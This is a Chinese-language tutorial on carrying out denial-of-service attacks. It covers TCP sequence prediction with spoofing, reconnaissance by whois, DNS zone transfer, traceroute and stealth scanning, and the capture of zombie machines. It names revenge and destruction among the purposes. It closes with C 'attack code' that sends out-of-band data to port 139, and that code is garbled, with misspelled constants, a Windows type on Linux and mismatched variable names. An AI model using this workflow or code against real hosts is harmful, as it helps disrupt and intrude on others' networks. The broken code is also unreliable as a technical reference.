概述:
一.
网络的不安全性
(1).漏洞的由来
1).设计错误---windows 2000/NT 认证的协议
2).编码错误---缓冲区溢出.脚本.格式化串漏洞等等
3).安全策略的实施错误--Web服务可以通过“。。”返回上一层。
4).安全策略对象的岥义--IIS为例:”a.asp.+htr”就可以获得到ASP脚本源码.
5).后门--这个主要是设计人员留下来的.
(2).安全补丁
尽管你的
计算机打上了安全的补丁.也未必能够安全.仍然有少数的补丁会出现拒服务器的漏洞.例个最常见的.像windows xp 发现有漏洞的时候.微软打上了sp1.但也迅速出现了严重的安全漏洞.也因此打上了sp2.
二.实行拒绝服务器攻击需要相对的了解有关的协议.像TCP/IP.最为常见的.这里举个”三次握手”漏洞.(由Morris发现)
C-S:SYN(ISNC)
S-C:SYN(ISNS),ACK(ISNC)
C-S:ACK(ISNC)
C-S:DATA
S-C:DATA
>>建立一个会话.(必须首先接收到ISNS.此时数据为随机性数)
>>预测ISNS
>>冒充主机T(受信任)
X-S:SYN(ISNX).SRC=T
S-T:SYN(ISNS),ACK(ISNX)
X-S:ACK(ISNS),SRC=T
X-S:ACK(ISNS),SRC=T,DATA
三.拒绝服务器攻击的作用.
1.初学者练习.
2.报复.
3.破坏.
4.信息战争.
5.铺助手段
其中的铺助手段可以为提权.非法访问.不过如果是单一的拒绝服务器攻击是来达到提权.非法访问是不可行的.
知道一些有关拒绝服务器攻击的基础知识后.下面我们就来看看相关的攻击的典型过程.
四.拒绝服务攻击过程.
攻击的流程:
1. 获取信息.
2. 筛选信息.
3. 占领傀儡机.
4. 实施攻击.
----获取信息----
在这里难免会有人奇怪的问,用modem连接PC.然后对大型的网站进行轰炸呢?这样子不就可以了?
其实不然.这种做法不但没有达到攻击效果.还让自己的网络弄的一塌糊涂.当然也不可能不可行的.你可以编写一个剧毒包的数据包(代码见文章未)也是可以达到的.但是专业的攻击者.有经验的黑客都不会盲目的进行.一来是法律的不断健全.二来攻击效果更明显.
但是我们如何进行获取信息的呢?
1. whois命令
2. DNS域发送
3. 网络查看
4. 网络扫描
[whois命令]
whois是提供Internet目录服务.它可包括:姓名.地址.电话.邮箱等等信息.而且采用的是C/S结构.数据的来源是网站的提供:
Http://www.networksolution.com
Http://www.arin.net
Http://www.ipswitch.com
Http://samspade.org
(有很多.我只举例几个.)
比如我们要查询百度:
Http://whois .baidu.com 就可以找到相关的信息.像.注册机构.机构本身.域名.网络.联系人.
使用方法: (在Linux下)
$ whois –h whois.internet.net baidu.com
这个是说明向whois.internet.net查询百度.
Windows家族的朋友可以使用nslookup命令.详细方法在下面的DNS查询中.
[DNS域发送]
DNS是一个包含各种主机相关信息的分布式数据据库.
查看DNS的工具有:Dig . nslookup . SolarWinds . Sam Spade
我们不能使用单一的DNS来进行查询.方法可行.但是问题是有大量的垃圾信息.不但费时.费力.而且很不明智.并会在搜索中得到很多的冗长的DNS记录.
>>DNS域传送区域入手<<
我以一张表格来说明:
类型 用法 探测信息
NS(域名服务器) nslookup:
Set q=ns
targetdomain.com
dig
dig targetdomain.com ns NS记录了识别主机和从域名服务器.一但被识别.就可查看到特定的区域传送了.
A-Ipv4 AAAA-Ipv6记录 nslookup:
Set q=a
targetdomain.com
dig targetdomain.com a A为提供主机的映身.执行A.则可以返回主机IP地址.
PTR(反向查询) nslookup:
Set q=ptr
*.*.*.* in-addr.arpa
dig
dig *.*.*.* in-addr.arpa ptr 返回一个给定的目标的主机的主机名.
MX(邮件服务) nslookup:
Set q=mx
targetdomain.com
dig
dig targetdomain.com mx MX可以针对查询目标域返回邮件服务器列表.可获得SMTP.对于黑客来说这个就是有用了.
HINFO(主机信息) nslookup:
Set q=hinfo
targetdomain.com
dig
dig targetdomain.com hinfo 顾名思义.既然为主机信息.那么返回的就是主机的操作
系统.配置信息等.而且这个很多人都会忘记.也因此对于黑客来说也是很有用的.
TXT(文本信息) nslookup:
Set q=txt
targetdomain.com
ding
dig targetdomain.com txt 这个是类同于HINFO主机信息的.也是返回主机信息.而且也是常被人忘了一种.
SRV(服务) nslookup:
Set q=srv
targetdomain.com
dig
dig targetdomain.com srv 这个可以说是最有用的.因为它将主机的SRV服务映射本地主机.这些服务我们就可以知道当前的操作系统和活动目录了.像:WIN2000.
要执行区域的传送.可以在交互的模式下使用客户端的工具.选项为:”xfer”如上面所说的工具.
$ nslookup:
Default Server:ns1.localnsserver.com
Address:*.*.*.*
>>首先nslookup使用目标主机域名服务器来进行区域传送.
>Server ns1.targetdomain.com
Default Server:[ns1.targetdomain.com]
Address:*.*.*.*
使用参数”ls –d “执行到本地文件系统(文件:targetorganization.com.dns)
>Set type=any
>ls –d targetorganization.com
>>/tmp/ targetorganization.com
输出的内容:
[ns1. targetorganization.com]
targetorganization.com SOA
ns1. targetorganization.com
dnsadmin. targetorganization.com(1004028738 144000 7200 864000 300)
t. targetorganization.com . NS
t. targetorganization.com . NS
ns1. targetorganization.com . A *.*.*.*
ns2. targetorganization.com . A *.*.*.*
ns2. targetorganization.com . MX Mail . targetorganization.com
mail . A *.*.*.*
www . A *.*.*.*
>
[网络查看]
说白了点就是使用traceroute对目标进行跟踪.
像:traceroute
www.baidu.com
具体的方法这里不给出.因为网络有很详细的教程.你只要百度一下就行了.
[网络扫描]
有句老话:工欲用其器.必先利其器.我们可以使用工具来进行扫描.当然也不能是盲目乱扫描一通咯.先来了解一下扫描方式吧.
按协议分为:ICMP . TCP . UDP .
>>>>ICMP: TCMP Echo消息:例如:我常用的ping命令就是使用这个协议来进行的.
>>>>TCP: TCP-SYN .TCP-FIN .TCP扫描.
TCP-SYN:就是TCP ping 扫描.
TCP-FIN:这个是扫描器中常用的.如下:
X-S:FIN
S-X:RST-端口关闭
S-X:NULL 返回空
这种方式的扫描.使得你的身份十分的隐蔽.
这里有一点要分一下:TCMP Ping 和TCP ping命名不一样的.
第一个是因为作用而得名的.而第二个则是因为消息得名的.
TCP扫描:这个是正常式的扫描.:
X-S:data
S-X:data(s)
S-X:Error(s)
就可以看出这种方式的扫描使你的身份都暴露了.因为你所发送的数据都会被一一的记下.
附:攻击代码
/*这个是我模拟eci剧毒数据包来写的.*/
/*RedHat(Linux)系统下编程(C语言)*/
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define Port 139
struct sockaddr add;
struct host * hst;
int CreType(int sock,char * server,int point);
int main(int argc, _TCHAR* argv[])
{
int i,j;
char * str="End!";
if(argc!=2)
{
printf("Error!");
exit(0);
}
if((j=socket(AF_INET,SOCK_STREAM,IPPRTO_TCP))==-1)
{
perror("Error!");
exit(-1);
}
CreType(j,argv[1],Point);
Send(j,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Finish!");
close(j);
return 0;
}
int CreType(int sock,char * server,int point)
{
struct sockaddr add_;
struct host * hst_;
bzero((char *)&addr,sizeof(addr_));
addr_.sin_family=AF_INEF;
addr_.sin_addr.s_addr=inet_addr(server);
addr.sin_port=htons(port);
if((he=GetHostByName(server))!=NULL)
{
bcopy(hst_->h_Addr,(char *)&add_.sin_addr,hst_->h_length);
}
else
{
if(add_.sin_addr.s_addr=inet_addr(server)<0)
{
perror("Error!");
return (-3);
}
}
if(connect(sock,(struct sockaddr *)&add_,16)==-1)
{
perror("Error!");
close(sock);
return (-4);
}
printf("Connect ok!");
return;
}